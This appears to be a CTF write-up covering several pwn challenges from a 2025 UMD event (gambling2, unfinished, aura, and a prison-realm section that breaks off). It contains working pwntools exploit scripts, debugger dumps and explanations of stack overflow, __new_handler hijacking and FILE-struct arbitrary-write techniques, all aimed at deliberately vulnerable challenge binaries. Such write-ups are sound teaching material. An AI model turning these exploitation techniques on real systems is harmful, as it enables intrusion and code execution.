pwn/gambling2
alter ^ Sol in /mnt/e/sec/CTFs/2025/UMD/gambling2$ checksec gambling[*] '/mnt/e/sec/CTFs/2025/UMD/gambling2/gambling' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) FORTIFY: Enabled Stripped: No
So when we look at the result we can see that that is 32-bit
binary with NX
enabled and Partial RELRO
. The binary is not stripped so we can see the symbols. Let’s dive into the source code.
#include <stdio.h>#include <string.h>#include <stdlib.h>
float rand_float() { return (float)rand() / RAND_MAX;}
void print_money() { system("/bin/sh");}
void gamble() { float f[4]; float target = rand_float(); printf("Enter your lucky numbers: "); scanf(" %lf %lf %lf %lf %lf %lf %lf", f,f+1,f+2,f+3,f+4,f+5,f+6); if (f[0] == target || f[1] == target || f[2] == target || f[3] == target || f[4] == target || f[5] == target || f[6] == target) { printf("You win!\n"); // due to economic concerns, we're no longer allowed to give out prizes. // print_money(); } else { printf("Aww dang it!\n"); }}
int main(void) { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0);
char buf[20]; srand(420); while (1) { gamble(); getc(stdin); // consume newline printf("Try again? "); fgets(buf, 20, stdin); if (strcmp(buf, "no.\n") == 0) { break; } }}
Nice nice we have print_money
function which can drop the shell for us. The gamble
function takes 7 floats as input and checks if any of them are equal to the target
float. But when we look closely at the scanf
format string we can see that it is reading 7 floats but only 4 are declared. Moreover, the this binary is run on 32-bit
and the format specifer is %lf
which is 8 bytes. So we can overflow the f
array and overwrite the return address of the gamble
function with the address of print_money
. But when we try to exploit it we need to double check the address of print_money
function to make sure if it in the right place we want.
pwndbg> stack 5016 collapsed lines
00:0000│ esp 0xffffcd00 —▸ 0x804a02b ◂— ' %lf %lf %lf %lf %lf %lf %lf'01:0004│-084 0xffffcd04 —▸ 0xffffcd40 ◂— 002:0008│-080 0xffffcd08 —▸ 0xffffcd44 ◂— 003:000c│-07c 0xffffcd0c —▸ 0xffffcd48 ◂— 004:0010│-078 0xffffcd10 —▸ 0xffffcd4c ◂— 005:0014│-074 0xffffcd14 —▸ 0xffffcd50 ◂— 006:0018│-070 0xffffcd18 —▸ 0xffffcd54 ◂— 007:001c│ ecx 0xffffcd1c —▸ 0xffffcd58 —▸ 0x80492c0 (print_money) ◂— sub esp, 0x1808:0020│-068 0xffffcd20 ◂— 109:0024│-064 0xffffcd24 —▸ 0x804a010 ◂— 'Enter your lucky numbers: '0a:0028│-060 0xffffcd28 —▸ 0xffffcd6c —▸ 0xf7fbe4a0 —▸ 0xf7d79000 ◂— 0x464c457f0b:002c│-05c 0xffffcd2c —▸ 0x80492e8 (gamble+8) ◂— sub esp, 80c:0030│-058 0xffffcd30 ◂— 0x1a40d:0034│-054 0xffffcd34 —▸ 0xf7fa34a4 (unsafe_state) —▸ 0xf7fa3094 (randtbl+20) ◂— 0xc6b7f91e0e:0038│-050 0xffffcd38 —▸ 0xf7fa49c0 (_IO_stdfile_0_lock) ◂— 00f:003c│-04c 0xffffcd3c ◂— 0x3b1cbd9810:0040│-048 0xffffcd40 ◂— 011:0044│-044 0xffffcd44 ◂— 012:0048│-040 0xffffcd48 ◂— 013:004c│-03c 0xffffcd4c ◂— 014:0050│-038 0xffffcd50 ◂— 015:0054│-034 0xffffcd54 ◂— 016:0058│-030 0xffffcd58 —▸ 0x80492c0 (print_money) ◂— sub esp, 0x1817:005c│-02c 0xffffcd5c ◂— 026 collapsed lines
18:0060│-028 0xffffcd60 —▸ 0xf7fbe4a0 —▸ 0xf7d79000 ◂— 0x464c457f19:0064│-024 0xffffcd64 —▸ 0xf7fd6f90 (_dl_fixup+240) ◂— mov edi, eax1a:0068│-020 0xffffcd68 —▸ 0xf7d914be ◂— '_dl_audit_preinit'1b:006c│ ebx 0xffffcd6c —▸ 0xf7fbe4a0 —▸ 0xf7d79000 ◂— 0x464c457f1c:0070│-018 0xffffcd70 —▸ 0xffffcdb0 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac1d:0074│-014 0xffffcd74 —▸ 0xf7fbe66c —▸ 0xf7ffdba0 —▸ 0xf7fbe780 —▸ 0xf7ffda40 ◂— ...1e:0078│-010 0xffffcd78 —▸ 0xf7fbeb30 —▸ 0xf7d93cc6 ◂— 'GLIBC_PRIVATE'1f:007c│-00c 0xffffcd7c ◂— 120:0080│-008 0xffffcd80 —▸ 0xffffcda0 ◂— 121:0084│-004 0xffffcd84 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac22:0088│ ebp 0xffffcd88 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 023:008c│+004 0xffffcd8c —▸ 0xf7d9a519 (__libc_start_call_main+121) ◂— add esp, 0x1024:0090│+008 0xffffcd90 —▸ 0xffffcfa3 ◂— '/mnt/e/sec/CTFs/2025/UMD/gambling2/gambling'25:0094│+00c 0xffffcd94 ◂— 0x70 /* 'p' */26:0098│+010 0xffffcd98 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c27:009c│+014 0xffffcd9c —▸ 0xf7d9a519 (__libc_start_call_main+121) ◂— add esp, 0x1028:00a0│+018 0xffffcda0 ◂— 129:00a4│+01c 0xffffcda4 —▸ 0xffffce54 —▸ 0xffffcfa3 ◂— '/mnt/e/sec/CTFs/2025/UMD/gambling2/gambling'2a:00a8│+020 0xffffcda8 —▸ 0xffffce5c —▸ 0xffffcfcf ◂— 'HOSTTYPE=x86_64'2b:00ac│+024 0xffffcdac —▸ 0xffffcdc0 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac2c:00b0│+028 0xffffcdb0 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac2d:00b4│+02c 0xffffcdb4 —▸ 0x80490e0 (main) ◂— lea ecx, [esp + 4]2e:00b8│+030 0xffffcdb8 ◂— 12f:00bc│+034 0xffffcdbc —▸ 0xffffce54 —▸ 0xffffcfa3 ◂— '/mnt/e/sec/CTFs/2025/UMD/gambling2/gambling'30:00c0│+038 0xffffcdc0 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac31:00c4│+03c 0xffffcdc4 —▸ 0xffffce54 —▸ 0xffffcfa3 ◂— '/mnt/e/sec/CTFs/2025/UMD/gambling2/gambling'pwndbg> i fStack level 0, frame at 0xffffcd60: eip = 0x8049336 in gamble; saved eip = 0x0 called by frame at 0xffffcd64 Arglist at 0xffffccfc, args: Locals at 0xffffccfc, Previous frame's sp is 0xffffcd60 Saved registers: eip at 0xffffcd5c
We see that our address when I use payload:
sla(b': ', f'0.0 0.0 0.0 0.0 0.0 0.0 {hex_to_double(exe.sym.print_money)}'.encode())
is above saved RIP of gamble
function. but remember this is 32-bit binary and we get 8 bytes input which means it will overflow 4 of our bytes. All we do is add padding to the address of the print_money
function so that it falls right on saved RIP. Adjust the payload and check again:
pwndbg> stack 5016 collapsed lines
00:0000│ esp 0xffffcd00 —▸ 0x804a02b ◂— ' %lf %lf %lf %lf %lf %lf %lf'01:0004│-084 0xffffcd04 —▸ 0xffffcd40 ◂— 002:0008│-080 0xffffcd08 —▸ 0xffffcd44 ◂— 003:000c│-07c 0xffffcd0c —▸ 0xffffcd48 ◂— 004:0010│-078 0xffffcd10 —▸ 0xffffcd4c ◂— 005:0014│-074 0xffffcd14 —▸ 0xffffcd50 ◂— 006:0018│-070 0xffffcd18 —▸ 0xffffcd54 ◂— 007:001c│ ecx 0xffffcd1c —▸ 0xffffcd58 ◂— 008:0020│-068 0xffffcd20 ◂— 109:0024│-064 0xffffcd24 —▸ 0x804a010 ◂— 'Enter your lucky numbers: '0a:0028│-060 0xffffcd28 —▸ 0xffffcd6c —▸ 0xf7fbe4a0 —▸ 0xf7d79000 ◂— 0x464c457f0b:002c│-05c 0xffffcd2c —▸ 0x80492e8 (gamble+8) ◂— sub esp, 80c:0030│-058 0xffffcd30 ◂— 0x1a40d:0034│-054 0xffffcd34 —▸ 0xf7fa34a4 (unsafe_state) —▸ 0xf7fa3094 (randtbl+20) ◂— 0xc6b7f91e0e:0038│-050 0xffffcd38 —▸ 0xf7fa49c0 (_IO_stdfile_0_lock) ◂— 00f:003c│-04c 0xffffcd3c ◂— 0x3b1cbd9810:0040│-048 0xffffcd40 ◂— 011:0044│-044 0xffffcd44 ◂— 012:0048│-040 0xffffcd48 ◂— 013:004c│-03c 0xffffcd4c ◂— 014:0050│-038 0xffffcd50 ◂— 015:0054│-034 0xffffcd54 ◂— 016:0058│-030 0xffffcd58 ◂— 017:005c│-02c 0xffffcd5c —▸ 0x80492c0 (print_money) ◂— sub esp, 0x1826 collapsed lines
18:0060│-028 0xffffcd60 —▸ 0xf7fbe4a0 —▸ 0xf7d79000 ◂— 0x464c457f19:0064│-024 0xffffcd64 —▸ 0xf7fd6f90 (_dl_fixup+240) ◂— mov edi, eax1a:0068│-020 0xffffcd68 —▸ 0xf7d914be ◂— '_dl_audit_preinit'1b:006c│ ebx 0xffffcd6c —▸ 0xf7fbe4a0 —▸ 0xf7d79000 ◂— 0x464c457f1c:0070│-018 0xffffcd70 —▸ 0xffffcdb0 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac1d:0074│-014 0xffffcd74 —▸ 0xf7fbe66c —▸ 0xf7ffdba0 —▸ 0xf7fbe780 —▸ 0xf7ffda40 ◂— ...1e:0078│-010 0xffffcd78 —▸ 0xf7fbeb30 —▸ 0xf7d93cc6 ◂— 'GLIBC_PRIVATE'1f:007c│-00c 0xffffcd7c ◂— 120:0080│-008 0xffffcd80 —▸ 0xffffcda0 ◂— 121:0084│-004 0xffffcd84 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac22:0088│ ebp 0xffffcd88 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 023:008c│+004 0xffffcd8c —▸ 0xf7d9a519 (__libc_start_call_main+121) ◂— add esp, 0x1024:0090│+008 0xffffcd90 —▸ 0xffffcfa3 ◂— '/mnt/e/sec/CTFs/2025/UMD/gambling2/gambling'25:0094│+00c 0xffffcd94 ◂— 0x70 /* 'p' */26:0098│+010 0xffffcd98 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c27:009c│+014 0xffffcd9c —▸ 0xf7d9a519 (__libc_start_call_main+121) ◂— add esp, 0x1028:00a0│+018 0xffffcda0 ◂— 129:00a4│+01c 0xffffcda4 —▸ 0xffffce54 —▸ 0xffffcfa3 ◂— '/mnt/e/sec/CTFs/2025/UMD/gambling2/gambling'2a:00a8│+020 0xffffcda8 —▸ 0xffffce5c —▸ 0xffffcfcf ◂— 'HOSTTYPE=x86_64'2b:00ac│+024 0xffffcdac —▸ 0xffffcdc0 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac2c:00b0│+028 0xffffcdb0 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac2d:00b4│+02c 0xffffcdb4 —▸ 0x80490e0 (main) ◂— lea ecx, [esp + 4]2e:00b8│+030 0xffffcdb8 ◂— 12f:00bc│+034 0xffffcdbc —▸ 0xffffce54 —▸ 0xffffcfa3 ◂— '/mnt/e/sec/CTFs/2025/UMD/gambling2/gambling'30:00c0│+038 0xffffcdc0 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac31:00c4│+03c 0xffffcdc4 —▸ 0xffffce54 —▸ 0xffffcfa3 ◂— '/mnt/e/sec/CTFs/2025/UMD/gambling2/gambling'pwndbg> i fStack level 0, frame at 0xffffcd60: eip = 0x8049336 in gamble; saved eip = 0x80492c0 called by frame at 0xffffcd90 Arglist at 0xffffccfc, args: Locals at 0xffffccfc, Previous frame's sp is 0xffffcd60 Saved registers: eip at 0xffffcd5c
Gotcha!! Now we can see that the saved RIP is now pointing to print_money
function.
37 collapsed lines
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from subprocess import check_outputfrom time import sleepimport struct
context.log_level = 'debug'context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]exe = context.binary = ELF('./gambling', checksec=False)libc = exe.libc
def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw, aslr=False) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) elif args.DOCKER: p = remote("localhost", 5000) sleep(1) pid = int(check_output(["pidof", "-s", "/app/run"])) gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path) pause() return p else: return process([exe.path] + argv, *a, **kw)
gdbscript = '''init-pwndbg
b *gamble+81
c'''
p = start()
# ==================== EXPLOIT ====================
def hex_to_double(addr): return struct.unpack('<d', p64(addr))[0]
def double_to_hex(val: float) -> str: packed = struct.pack('<d', val) bits = struct.unpack('<Q', packed)[0] return hex(bits)
def pad_to_qword(n: int, total_bytes: int = 8) -> int: length = (n.bit_length() + 7) // 8 or 1 return n << ((total_bytes - length) * 8)
def exploit():
# print(double_to_hex(55.55)) # print(double_to_hex(1.1))
sla(b': ', f'0 0 0 0 0 0 {hex_to_double(pad_to_qword(exe.sym.print_money))}'.encode())
interactive()
if __name__ == '__main__': exploit()
pwn/unfinished
alter ^ Sol in /mnt/e/sec/CTFs/2025/UMD/unfinished$ checksec unfinished[*] '/mnt/e/sec/CTFs/2025/UMD/unfinished/unfinished' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
As we can see that this is 64-bit
binary with Full RELRO
and NX
enabled. The binary is not stripped so we can see the symbols. Let’s dive into the source code to see how it works and analyze its functionality.
#include <cstdio>#include <cstdlib>
char number[128];
void sigma_mode() { system("/bin/sh");}
int main() { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0);
printf("What size allocation?\n"); fgets(number, 500, stdin);
long n = atol(number); int *chunk = new int[n]; // TODO: finish the heap chal}
Hmmm, the program look like have nothing to exploit. But just test something like input a very large number and see what happens.
► 0x7ffff7d52b2c <pthread_kill@@GLIBC_2.34+284> mov r14d, eax R14D => 0 0x7ffff7d52b2f <pthread_kill@@GLIBC_2.34+287> neg r14d 0x7ffff7d52b32 <pthread_kill@@GLIBC_2.34+290> cmp eax, 0xfffff000 0x0 - 0xfffff000 EFLAGS => 0x207 [ CF PF af zf sf IF df of ] 0x7ffff7d52b37 <pthread_kill@@GLIBC_2.34+295> mov eax, 0 EAX => 0 0x7ffff7d52b3c <pthread_kill@@GLIBC_2.34+300> cmovbe r14d, eax 0x7ffff7d52b40 <pthread_kill@@GLIBC_2.34+304> jmp pthread_kill@@GLIBC_2.34+176 <pthread_kill@@GLIBC_2.34+176> ↓ 0x7ffff7d52ac0 <pthread_kill@@GLIBC_2.34+176> mov rax, qword ptr [rbp - 0x38] RAX, [0x7fffffffd9b8] => 0x851692a8043af200 0x7ffff7d52ac4 <pthread_kill@@GLIBC_2.34+180> sub rax, qword ptr fs:[0x28] RAX => 0 (0x851692a8043af200 - 0x851692a8043af200) 0x7ffff7d52acd <pthread_kill@@GLIBC_2.34+189> jne pthread_kill@@GLIBC_2.34+341 <pthread_kill@@GLIBC_2.34+341>
0x7ffff7d52ad3 <pthread_kill@@GLIBC_2.34+195> add rsp, 0x18 RSP => 0x7fffffffd9c8 (0x7fffffffd9b0 + 0x18) 0x7ffff7d52ad7 <pthread_kill@@GLIBC_2.34+199> mov eax, r14d EAX => 0
Holy, when I try to input 100000000000000000000000
it will crash. So let’s check the reason why it crashed.
pwndbg> disass mainDump of assembler code for function main:28 collapsed lines
0x00000000004019cc <+0>: push rbp 0x00000000004019cd <+1>: mov rbp,rsp 0x00000000004019d0 <+4>: sub rsp,0x10 0x00000000004019d4 <+8>: mov rax,QWORD PTR [rip+0x1d665] # 0x41f040 <stdout@GLIBC_2.2.5> 0x00000000004019db <+15>: mov ecx,0x0 0x00000000004019e0 <+20>: mov edx,0x2 0x00000000004019e5 <+25>: mov esi,0x0 0x00000000004019ea <+30>: mov rdi,rax 0x00000000004019ed <+33>: call 0x401060 <setvbuf@plt> 0x00000000004019f2 <+38>: mov rax,QWORD PTR [rip+0x1d657] # 0x41f050 <stdin@GLIBC_2.2.5> 0x00000000004019f9 <+45>: mov ecx,0x0 0x00000000004019fe <+50>: mov edx,0x2 0x0000000000401a03 <+55>: mov esi,0x0 0x0000000000401a08 <+60>: mov rdi,rax 0x0000000000401a0b <+63>: call 0x401060 <setvbuf@plt> 0x0000000000401a10 <+68>: lea rax,[rip+0x165f5] # 0x41800c 0x0000000000401a17 <+75>: mov rdi,rax 0x0000000000401a1a <+78>: call 0x401030 <puts@plt> 0x0000000000401a1f <+83>: mov rax,QWORD PTR [rip+0x1d62a] # 0x41f050 <stdin@GLIBC_2.2.5> 0x0000000000401a26 <+90>: mov rdx,rax 0x0000000000401a29 <+93>: mov esi,0x1f4 0x0000000000401a2e <+98>: lea rax,[rip+0x1d62b] # 0x41f060 <number> 0x0000000000401a35 <+105>: mov rdi,rax 0x0000000000401a38 <+108>: call 0x401050 <fgets@plt> 0x0000000000401a3d <+113>: lea rax,[rip+0x1d61c] # 0x41f060 <number> 0x0000000000401a44 <+120>: mov rdi,rax 0x0000000000401a47 <+123>: call 0x401070 <atol@plt> 0x0000000000401a4c <+128>: mov QWORD PTR [rbp-0x10],rax 0x0000000000401a50 <+132>: mov rax,QWORD PTR [rbp-0x10] 0x0000000000401a54 <+136>: movabs rdx,0x1ffffffffffffffe 0x0000000000401a5e <+146>: cmp rdx,rax 0x0000000000401a61 <+149>: jb 0x401a69 <main+157> 0x0000000000401a63 <+151>: shl rax,0x2 0x0000000000401a67 <+155>: jmp 0x401a6e <main+162> 0x0000000000401a69 <+157>: call 0x4010f0 <__cxa_throw_bad_array_new_length> 0x0000000000401a6e <+162>: mov rdi,rax 0x0000000000401a71 <+165>: call 0x401c10 <_Znam> 0x0000000000401a76 <+170>: mov QWORD PTR [rbp-0x8],rax 0x0000000000401a7a <+174>: mov eax,0x0 0x0000000000401a7f <+179>: leave 0x0000000000401a80 <+180>: retEnd of assembler dump.
We see that it has an extra strange check in our source code. But when we use IDA to view it, we will see that code.
int __fastcall main(int argc, const char **argv, const char **envp){ unsigned __int64 v3; // rax
setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); puts("What size allocation?"); fgets(number, 500, stdin); v3 = atol(number); if ( v3 > 0x1FFFFFFFFFFFFFFELL ) _cxa_throw_bad_array_new_length(); operator new[](4 * v3); return 0;}
This is because in C++, when using new[]
, the compiler automatically adds a size check to ensure heap allocation safety. That check does not appear in the source because it is generated by the compiler.
Okay, let’s get back to our problem. We know that the size we entered is not more than 0x1FFFFFFFFFFFFFFFE
so we will solve its size and continue testing.
0x4031b2 <operator new(unsigned long)+18> test rdi, rdi 0x8e1bc9bf040000 & 0x8e1bc9bf040000 EFLAGS => 0x206 [ cf PF af zf sf IF df of ] 0x4031b5 <operator new(unsigned long)+21> ✔ cmovne rax, rdi 0x4031b9 <operator new(unsigned long)+25> mov rbx, rax RBX => 0x8e1bc9bf040000 0x4031bc <operator new(unsigned long)+28> mov rdi, rbx RDI => 0x8e1bc9bf040000 0x4031bf <operator new(unsigned long)+31> call qword ptr [rip + 0x1bde3] <malloc>
► 0x4031c5 <operator new(unsigned long)+37> test rax, rax 0 & 0 EFLAGS => 0x246 [ cf PF af ZF sf IF df of ] 0x4031c8 <operator new(unsigned long)+40> ✔ je operator new(unsigned long)+48 <operator new(unsigned long)+48> ↓ 0x4031d0 <operator new(unsigned long)+48> call std::get_new_handler() <std::get_new_handler()>
0x4031d6 <operator new(unsigned long)+54> test rax, rax 0x4031d9 <operator new(unsigned long)+57> je operator new(unsigned long) [clone .cold] <operator new(unsigned long) [clone .cold]>
0x4031df <operator new(unsigned long)+63> call rax <...> ► 0x4105e0 <std::get_new_handler()> endbr64 0x4105e4 <std::get_new_handler()+4> mov rax, qword ptr [rip + 0xeb3d] RAX, [(anonymous namespace)::__new_handler] => 0 0x4105eb <std::get_new_handler()+11> ret <operator new(unsigned long)+54> ↓ 0x4031d6 <operator new(unsigned long)+54> test rax, rax 0 & 0 EFLAGS => 0x246 [ cf PF af ZF sf IF df of ] 0x4031d9 <operator new(unsigned long)+57> ✔ je operator new(unsigned long) [clone .cold] <operator new(unsigned long) [clone .cold]> ↓ 0x401388 <operator new(unsigned long) [clone .cold]> mov edi, 8 EDI => 8 0x40138d <operator new(unsigned long) [clone .cold]+5> call __cxa_allocate_exception <__cxa_allocate_exception>
0x401393 <operator new(unsigned long) [clone .cold]+11> mov rdx, std::bad_alloc::~bad_alloc() RDX => 0x403680 (std::bad_alloc::~bad_alloc()) ◂— endbr64 0x40139a <operator new(unsigned long) [clone .cold]+18> mov rsi, typeinfo for std::bad_alloc RSI => 0x41ec08 (typeinfo for std::bad_alloc) —▸ 0x41eb70 (vtable for __cxxabiv1::__si_class_type_info+16) —▸ 0x4031f0 (__cxxabiv1::__si_class_type_info::~__si_class_type_info()) ◂— ... 0x4013a1 <operator new(unsigned long) [clone .cold]+25> mov rdi, rax 0x4013a4 <operator new(unsigned long) [clone .cold]+28> mov rax, vtable for std::bad_alloc RAX => 0x41ec20 (vtable for std::bad_alloc) ◂— 0
We see malloc
will return 0
(when we input 1000000000000000) and then call std::get_new_handler()
. The std::get_new_handler()
now move the address of __new_handler
to rax
and check if it is 0
. If it is not 0
, it will call the function. The __new_handler
is a global variable that points to a function that will be called when memory allocation fails. By default, this function is set to std::bad_alloc
, which throws an exception. But we can change it to our own function by our overflow in number variable.
37 collapsed lines
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from subprocess import check_outputfrom time import sleep
context.log_level = 'debug'context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]exe = context.binary = ELF('./unfinished_patched', checksec=False)libc = exe.libc
def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) elif args.DOCKER: p = remote("localhost", 5000) sleep(1) pid = int(check_output(["pidof", "-s", "/app/run"])) gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path) pause() return p else: return process([exe.path] + argv, *a, **kw)
gdbscript = '''init-pwndbg
# b *main+113b *main+165
c'''
p = start()
# ==================== EXPLOIT ====================
def exploit():
# sl(cyclic(500))
payload = flat({ 0: b'100000000000000 ', 184+8+8: 0x4019b6 }, filler=b'A')
sl(payload)
interactive()
if __name__ == '__main__': exploit()
pwn/aura
alter ^ Sol in /mnt/e/sec/CTFs/2025/UMD/aura$ checksec aura_patched[*] '/mnt/e/sec/CTFs/2025/UMD/aura/aura_patched' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'.' Stripped: No
We see that this is 64-bit
binary with Partial RELRO
and NX
enabled. The binary is not stripped so we can see the symbols. Let’s decompile it with IDA and analyze its functionality.
int __fastcall main(int argc, const char **argv, const char **envp){ FILE *buf; // [rsp+10h] [rbp-140h] FILE *stream; // [rsp+18h] [rbp-138h] char ptr_1[32]; // [rsp+20h] [rbp-130h] BYREF _BYTE ptr[264]; // [rsp+40h] [rbp-110h] BYREF unsigned __int64 v8; // [rsp+148h] [rbp-8h]
v8 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(_bss_start, 0LL); setbuf(stderr, 0LL); printf("my aura: %p\nur aura? ", &aura); buf = fopen("/dev/null", "r"); read(0, buf, 0x100uLL); fread(ptr, 1uLL, 8uLL, buf); if ( aura ) { stream = fopen("flag.txt", "r"); fread(ptr_1, 1uLL, 0x11uLL, stream); printf("%s\n ", ptr_1); } else { puts("u have no aura."); } return 0;}
In generally, the program will read our input and check if the aura
variable is 0
. If it is not 0
, it will read the flag from flag.txt
file. The aura
variable is a global variable that is initialized to 0
. So we need to change it to 1
by using our input. And look, we have free aura
address :DD. Now we just need to find the way to change the value of aura
variable.
If we look at these lines:
buf = fopen("/dev/null", "r"); read(0, buf, 0x100uLL); fread(ptr, 1uLL, 8uLL, buf);
It opens /dev/null
, save the FILE struct poiter to buf
and lets us write into that FILE struct. Then it will read 8 bytes from buf
to ptr
. So we can use this to overwrite the aura
variable. Let’s remind the FILE structure
and how to leverage fread
to overwrite the aura
variable.
struct _IO_FILE_plus{ FILE file; const struct _IO_jump_t *vtable;};
struct _IO_FILE{ int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */ char *_IO_write_ptr; /* Current put pointer. */ char *_IO_write_end; /* End of put area. */ char *_IO_buf_base; /* Start of reserve area. */ char *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; int _flags2; __off_t _old_offset; /* This used to be _offset but it's too small. */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE};
The code above is what FILE
structure look like. And we know that inside the fread
function it calls _IO_file_read
functions:
_IO_ssize_t_IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size){ return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0) ? __read_nocancel (fp->_fileno, buf, size) : __read (fp->_fileno, buf, size));}
The _IO_file_read
function reads data from a file into a buffer using the read
system call. It takes three arguments: a file pointer fp
, a buffer buf (usually _IO_buf_base
), and the number of bytes to read size (typically _IO_buf_end - _IO_buf_base
). Inside the function, it checks if the file has a special flag _IO_FLAGS2_NOTCANCEL
; if it does, it uses __read_nocancel
(a version of read()
that can’t be interrupted), otherwise it uses the regular __read()
function. Both versions read data from fp->_fileno
, which is the file descriptor, into the buffer buf for size bytes. So the fread
function is crucial for our exploit as it allows us to manipulate the aura
variable by controlling the data read into the buffer.
And those components are all on the FILE Struct and because we can interact directly with the FILE Struct we can easily do aaw
38 collapsed lines
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from subprocess import check_outputfrom time import sleep
context.log_level = 'debug'context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]exe = context.binary = ELF('./aura_patched', checksec=False)libc = exe.libc
def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) elif args.DOCKER: p = remote("localhost", 5000) sleep(1) pid = int(check_output(["pidof", "-s", "/app/run"])) gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path) pause() return p else: return process([exe.path] + argv, *a, **kw)
gdbscript = '''init-pwndbg
# brva 0x122E# brva 0x124Ebrva 0x1271
c'''
p = start()
# ==================== EXPLOIT ====================
def exploit():
ru(b'my aura: ') aura_address = hexleak(rl()[:-1]) info('aura address @ %#x', aura_address)
payload = flat( 0xfbad2488, # _flag 0, # _IO_read_ptr 0, # _IO_read_end 0, # _IO_read_base 0, # _IO_write_base 0, # _IO_write_ptr 0, # _IO_write_end aura_address, # _IO_buf_base aura_address + 0x11, # _IO_buf_end 0, 0, 0, 0, 0, 0, # stdin )
s(payload) s(p64(0x1) + b'\0' * 0x11)
interactive()
if __name__ == '__main__': exploit()
pwn/prison-realm
alter ^ Sol in /mnt/e/sec/CTFs/2025/UMD/prison-realm$ checksec prison_patched[*] '/mnt/e/sec/CTFs/2025/UMD/prison-realm/prison_patched' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'.' Stripped: No
So we see that this is 64-bit
binary with Partial RELRO
and NX
enabled. Let’s decompile it with IDA and analyze its functionality.
int __fastcall main(int argc, const char **argv, const char **envp){ char s[32]; // [rsp+0h] [rbp-20h] BYREF
fgets(s, 300, stdin); return 0;}
unsigned int prison_realm_open(){ setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); signal(14, (__sighandler_t)gate_close); return alarm(0x3Cu);}
Wow, pretty simple. The main function just reads our input up to 300
bytes so we have buffer overflow here. But there is no win function or something else, so we need to find another way to drop the shell. My first idea for this challenge is overwrite alarm@GOT
to execv
and then setup the rdi
for it since we have pop rdi
gadget. But the problem is that fgets
includes newlines, which we need to handle properly to avoid issues with our payload, and this hard to handle it so I change my mind.
I’m looking for some useful gadgets in the binary and I found 2 these gadgets:
0x00000000004005cf : add bl, dh ; ret0x0000000000400668 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; repz ret
With controlled rbp
via buffer overflow, we can easily use 2 these gadget to change the value of anything we want I’ll call it write what where
. And my target right now is fgets
